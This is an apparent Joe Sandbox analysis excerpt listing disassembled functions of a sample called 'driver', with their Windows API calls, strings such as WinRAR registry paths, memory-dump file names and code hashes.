Instruction Fuzzy Hash: 56D1F630A0025586EB31DA24C8857EBB7B5AF45304F1480BBD984E77D2E7BC8EC9C799

Function 00409EDC Relevance: 4.1, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 0040A155
CMT, xrefs: 0040A26A
$, xrefs: 0040A17B

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: LoadString
String ID: $$@$CMT
API String ID: 2948472770-369980109
Opcode ID: fa638b40cb8595eac64ea6e3f8fddc8228e0d784507ab9d2c2576f9b66d4e731
Instruction ID: fb21209941f985fc7ac95aa6465d9954197c10a7f20e07b2ce28aaa46806afe6
Opcode Fuzzy Hash: fa638b40cb8595eac64ea6e3f8fddc8228e0d784507ab9d2c2576f9b66d4e731
Instruction Fuzzy Hash: E6C1B67460438456EB11DE75C8C07DA3BD26F46308F0C84FADC49AE3C7D6BE89A4876A

Function 00432277 Relevance: 4.1, Strings: 3, Instructions: 302COMMON

Download Yara Rule

Strings

$, xrefs: 004325B4
, xrefs: 0043254F
%s%s , xrefs: 0043288E

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: $$$%s%s
API String ID: 0-1151979480
Opcode ID: 34ba9c38a56cbb7fc46635a82a913a50ccb7ead3ae3c13607334beb6c097f494
Instruction ID: 0f23be909333ae859590d09558381e7471fa97d56614783225cfe4c5a55658f0
Opcode Fuzzy Hash: 34ba9c38a56cbb7fc46635a82a913a50ccb7ead3ae3c13607334beb6c097f494
Instruction Fuzzy Hash: B0D14B709046855FEF25DF30C9853EFBBA1AF19305F1861BFC85956282C3F81A85CB59

Function 0040A5C4 Relevance: 3.2, Strings: 2, Instructions: 665COMMON

Download Yara Rule

Strings

- ???, xrefs: 0040AE0A
???, xrefs: 0040A7CA, 0040B3B5

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID: - ???$???
API String ID: 2976181284-174637405
Opcode ID: bba24b76f683cc7f79ee130113dfb80935d7ea96f0763d1b00edb491545f7972
Instruction ID: 4033c0e2c017294a1755c7fa5a05da136508a19136716e7f54a7dd53f52af202
Opcode Fuzzy Hash: bba24b76f683cc7f79ee130113dfb80935d7ea96f0763d1b00edb491545f7972
Instruction Fuzzy Hash: 8F520470A007069BD718DF65C480AEEF3F6FF44304F14863BD459A7285E778A966CB8A

Function 0043CEF4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetHandleCount.KERNEL32(00000032), ref: 0043CF00
GetStartupInfoA.KERNEL32(?), ref: 0043CF2A
GetStdHandle.KERNEL32(000000F6), ref: 0043CFE3
GetStdHandle.KERNEL32(000000F5,000000F6), ref: 0043CFEF
GetStdHandle.KERNEL32(000000F4,000000F5,000000F6), ref: 0043CFFB

Strings

qD, xrefs: 0043D007
qD, xrefs: 0043CF63

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Handle$CountInfoStartup
String ID: qD$qD
API String ID: 2024372269-815347720
Opcode ID: a08a4fe0dd2a79791531bcb9a97e9fe0daf3a12675d0a6a2387db013b100ad98
Instruction ID: 5e99c3203f10f1765382fcb20c623af8126b8e92a939d8887fdfc57698691129
Opcode Fuzzy Hash: a08a4fe0dd2a79791531bcb9a97e9fe0daf3a12675d0a6a2387db013b100ad98
Instruction Fuzzy Hash: 5F3124719043008BF7189F28C8D57AA77A1EB49728F24563FE492933D1DB3C9886CB1E

Function 00403674 Relevance: 9.2, APIs: 6, Instructions: 165
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F5,?,00000000,00453DB0), ref: 0040369F
GetStdHandle.KERNEL32(000000F4,?,00000000,00453DB0), ref: 004036AB
WriteFile.KERNEL32(?,?,00004000,?,00000000,00000000,?,00000000,?,?,00000000,?,00000000,?,00000000,00453DB0), ref: 004036EF
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00453DB0), ref: 0040371C
GetLastError.KERNEL32(?,?,00000000,?,00000000,?,00000000,00453DB0), ref: 0040374A
SetLastError.KERNEL32(00000000,?,?,00000000,?,00000000,?,00000000,00453DB0), ref: 0040376D

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ErrorFileHandleLastWrite
String ID:
API String ID: 3069693752-0
Opcode ID: d9c3f8a4e6c04e7d3980eadee259c291888d30a636169f4c9cb58cee12fe3089
Instruction ID: 881c9e5fd9bc7f1efc9f36dbc0b598fbe79db55042927d7bf25e290ab663105c
Opcode Fuzzy Hash: d9c3f8a4e6c04e7d3980eadee259c291888d30a636169f4c9cb58cee12fe3089
Instruction Fuzzy Hash: B351E6B0A04505ABDB10DE69898177EBBADAF80716F14C27BE511B33C0C73C9F458B9A

Function 00402008 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?), ref: 00402016
SHGetSpecialFolderLocation.SHELL32(00000000,0000001A,?,00000000,?), ref: 00402028
SHGetPathFromIDListA.SHELL32(?,?,00000000,0000001A,?,00000000,?), ref: 00402035

Part of subcall function 00404404: GetFileAttributesW.KERNEL32(00000000,?,00000000,00402061), ref: 0040441E

Part of subcall function 00403EF8: CreateDirectoryW.KERNEL32(00000000,00000000,00451DB0,?,00000000,00402070), ref: 00403F17

GetModuleFileNameA.KERNEL32(00000000,?,00000400,00000000,0000001A,?,00000000,?), ref: 00402089

Strings

WinRAR, xrefs: 0040204A

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: File$AttributesCreateDirectoryFolderFromListLocationMallocModuleNamePathSpecial
String ID: WinRAR
API String ID: 4202854431-3970807970
Opcode ID: ede0b9742715122b99fbed7b8d171714e6b9ef33f6bfdea241b1364475fa6542
Instruction ID: 070f3ed3a1e0129b4ba182c6cb703402b41c29958847485536f20167dde97ae7
Opcode Fuzzy Hash: ede0b9742715122b99fbed7b8d171714e6b9ef33f6bfdea241b1364475fa6542
Instruction Fuzzy Hash: 5F110C21B0431476FB1169765D4AF9F76984F04755F14003BFB45B22D2EFBD9A01C25D

Function 004020A8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.ADVAPI32(80000001,Software\WinRAR\Paths,00000000,00000001,?,?), ref: 004020C6
RegQueryValueExA.ADVAPI32(?,AppData,00000000,?,?,?,80000001,Software\WinRAR\Paths,00000000,00000001,?,?), ref: 004020E9
RegCloseKey.ADVAPI32(?,?,AppData,00000000,?,?,?,80000001,Software\WinRAR\Paths,00000000,00000001,?,?), ref: 004020F1

Strings

AppData, xrefs: 004020E1
Software\WinRAR\Paths, xrefs: 004020BC

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: AppData$Software\WinRAR\Paths
API String ID: 3677997916-3415417297
Opcode ID: 1bd70768771eb461b5141f324264bd21e5d8852c252e6a9dee15c6ef2eddbcd0
Instruction ID: f92515a06ab27ac57bfa4f792cebdbf17a148f1d9ade4cd3942498d1d0729c34
Opcode Fuzzy Hash: 1bd70768771eb461b5141f324264bd21e5d8852c252e6a9dee15c6ef2eddbcd0
Instruction Fuzzy Hash: 00F09C706403087BFF10AA558DC7F99775C6B45708F1041E6BB04B51D2EAF95F44C259

Function 0042E76C Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 247
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000400), ref: 0042E7A9

Strings

@, xrefs: 0042E8C2
*messages***, xrefs: 0042E885
n, xrefs: 0042E977

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: FileModuleName
String ID: *messages***$@$n
API String ID: 514040917-964326655
Opcode ID: 1346a92aed611b78c35d0d4c845c0325a03b74ba2d5dfaac99c1a20e5a19c963
Instruction ID: 97c6531417d5769555d66c9ce674ea1f9b5007def1bc7a531af5e7c4b283735a
Opcode Fuzzy Hash: 1346a92aed611b78c35d0d4c845c0325a03b74ba2d5dfaac99c1a20e5a19c963
Instruction Fuzzy Hash: E4912A70B002648BD730DF2AD8C1BAAB7B9AF09304F5444BFE5D597382D7789A81CB19

Function 0043A3BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008005), ref: 0043A3F7
GetModuleHandleA.KERNEL32(00000000,00008005), ref: 0043A3FE

Strings

rar.lng, xrefs: 0043A411

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ErrorHandleModeModule
String ID: rar.lng
API String ID: 1812511831-2410228151
Opcode ID: f64f59848f5f72359563d1d1cf7d52ea9bb2c4b62e2d0b4673652066d0cbb565
Instruction ID: fd660195847409d479635bcc7ef493d72a91b7fab19d91c72dbee25062ff42cf
Opcode Fuzzy Hash: f64f59848f5f72359563d1d1cf7d52ea9bb2c4b62e2d0b4673652066d0cbb565
Instruction Fuzzy Hash: 96312870B801685ACB20FB65DC815CE73649F56318F4140FFA858A3352DBBC9E898B5F

Function 0040EF24 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040EFB4: FreeLibrary.KERNEL32(?,0040EF3D), ref: 0040EFC2

GetModuleFileNameA.KERNEL32(00000000,?,00000400), ref: 0040EF61
LoadLibraryA.KERNEL32(?), ref: 0040EF86

Strings

rarlng.dll, xrefs: 0040EF66

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Library$FileFreeLoadModuleName
String ID: rarlng.dll
API String ID: 4229844642-1675521814
Opcode ID: 7dc0098acf12c7a67b9cd77dfa2772e876b6d3724d32a7201086551cb32fa549
Instruction ID: 25dd29a27e64bd20548a71f877349c0376763f07e1ee08de5f796fe3ca92f939
Opcode Fuzzy Hash: 7dc0098acf12c7a67b9cd77dfa2772e876b6d3724d32a7201086551cb32fa549
Instruction Fuzzy Hash: 620120B690021436D7209B36AC42B96735CAB85719F0445FFF708F3241EFB84D0197AD

Function 0042DFE4 Relevance: 5.3, Strings: 4, Instructions: 270
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

.rar, xrefs: 0042E046
FUADPXETK, xrefs: 0042E003, 0042E01A
AFUMD, xrefs: 0042E063
stdin, xrefs: 0042E280

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: .rar$AFUMD$FUADPXETK$stdin
API String ID: 0-2937467848
Opcode ID: fd50a2a627dff247e91d3d55ad6010fb9c5ea3a39d25a8d5f6dcb06cf043ce75
Instruction ID: 904711155ef7155550cf87014a88549011424ec4c30a920a999190eb42bf5f5a
Opcode Fuzzy Hash: fd50a2a627dff247e91d3d55ad6010fb9c5ea3a39d25a8d5f6dcb06cf043ce75
Instruction Fuzzy Hash: C5A1C630704124D6DB10FA36DC867E973696F44308F9495FFA80996287DB7C9E8E8E1D

Function 00404128 Relevance: 4.6, APIs: 3, Instructions: 131
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040C794: GetVersionExA.KERNEL32(?), ref: 0040C7B7

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 0040420F
SetFileTime.KERNEL32(00000000,00000000,00000000,00000000,?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00404279
CloseHandle.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 0040427F

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: File$CloseCreateHandleTimeVersion
String ID:
API String ID: 2096772557-0
Opcode ID: 17cdb9a66299e2c1012d6f42ea9f2ec9d0652cb06febbfdb5b769e94be17a63f
Instruction ID: f96e439989b8a20514a120498ea30dc6308d0899c77b210d4eb5f6a6b45ac3f7
Opcode Fuzzy Hash: 17cdb9a66299e2c1012d6f42ea9f2ec9d0652cb06febbfdb5b769e94be17a63f
Instruction Fuzzy Hash: F54121B0B00208AAEB14D668C8897EEB7A19FC0344F1481BEE9007B2C1D77C5FC5CB98

Function 00403234 Relevance: 4.6, APIs: 3, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,?,00000000,?,004521B1,?), ref: 004032A8
CreateFileA.KERNEL32(?,80000000,?,00000000,00000003,?,00000000,?,004521B1,?), ref: 004032C1

Part of subcall function 0040BB5C: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,?,01000000,00000000,00000000,00000000,?,00403345,?,80000000,?,00000000,00000003), ref: 0040BB6F

GetLastError.KERNEL32(?,80000000,?,00000000,00000003,?,00000000,?,004521B1,?), ref: 004032CD

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: CreateFile$ByteCharErrorLastMultiWide
String ID:
API String ID: 158210224-0
Opcode ID: b586c681ecaf5f70aebd6a51d080ccf90e8db8989ef33fb17bc03818a034da51
Instruction ID: c0eb25f7e837c625ff599399f0f4410ed9f0b55084f256b897961968ceba47b4
Opcode Fuzzy Hash: b586c681ecaf5f70aebd6a51d080ccf90e8db8989ef33fb17bc03818a034da51
Instruction Fuzzy Hash: 46310431D04244AAEB219F69C885B9E7F699F41715F1881FEEC003B3C6CB798B44D7A8

Function 0040392C Relevance: 4.6, APIs: 3, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,00000050,00448C48,?,00000050,?,0040387A,?,?,?), ref: 0040394E
ReadFile.KERNEL32(?,?,00000050,?,00000000,00000050,00448C48,?,00000050,?,0040387A,?,?,?), ref: 00403961
GetLastError.KERNEL32(?,?,00000050,?,00000000,00000050,00448C48,?,00000050,?,0040387A,?,?,?), ref: 00403993

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ErrorFileHandleLastRead
String ID:
API String ID: 1699850967-0
Opcode ID: f0c4213db934efaf1b7c57c3a46049db619d8b559a74e8eef21bac415a508b50
Instruction ID: 793a8c2b7c9f7cd6f86bb99b3fd821f70d1e6f7ccbde508a1cd23e6d6f86bbf6
Opcode Fuzzy Hash: f0c4213db934efaf1b7c57c3a46049db619d8b559a74e8eef21bac415a508b50
Instruction Fuzzy Hash: 1F01FCB1A04104A6EB105E669D4196BAE5CEB80337F10427BE914FA2C2D6FCCE0046EE

Function 00403EF8 Relevance: 4.5, APIs: 3, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040C794: GetVersionExA.KERNEL32(?), ref: 0040C7B7

CreateDirectoryW.KERNEL32(00000000,00000000,00451DB0,?,00000000,00402070), ref: 00403F17
CreateDirectoryA.KERNEL32(?,00000000,00451DB0,?,00000000,00402070), ref: 00403F21
GetLastError.KERNEL32(?,00000000,00451DB0,?,00000000,00402070), ref: 00403F39

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: CreateDirectory$ErrorLastVersion
String ID:
API String ID: 4238167203-0
Opcode ID: 76f32588672b3048aa7793aa7daac87b937ab50e5bfa775c30cfa0a8958bd6d0
Instruction ID: fbc29b1eb2c98ec279b0ef2c1586bddcf8cea435a2d0fa28653ddf3cd3d586dd
Opcode Fuzzy Hash: 76f32588672b3048aa7793aa7daac87b937ab50e5bfa775c30cfa0a8958bd6d0
Instruction Fuzzy Hash: DBF08220B0421352EA302E6B2C8276B48AE8F95B53F140077F905F72C1DAFCCE42412E

Function 0043B52C Relevance: 3.9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

0kD, xrefs: 0043B5D9, 0043B5E0, 0043B600, 0043B646, 0043B6AF, 0043B6D8
0kD, xrefs: 0043B5AE
0kD, xrefs: 0043B610

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: 0kD$0kD$0kD
API String ID: 0-252212622
Opcode ID: a9d81a556e43f36948903a17bc235fcb5ecbfc820efbacf9e37d11236316dc9d
Instruction ID: ccff8610ce7c4afd8eb52111e42a3da9c059fa4699dc43e23f600b751f8a500c
Opcode Fuzzy Hash: a9d81a556e43f36948903a17bc235fcb5ecbfc820efbacf9e37d11236316dc9d
Instruction Fuzzy Hash: 745174B56001508FC315CF18D9D1A15BBA1FB4A324B29D36ED5198F3E6D735EC81CB8A

Function 00441568 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,023720A0,000000FF), ref: 00441598

Strings

Out of memory in _setargv0, xrefs: 00441580

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
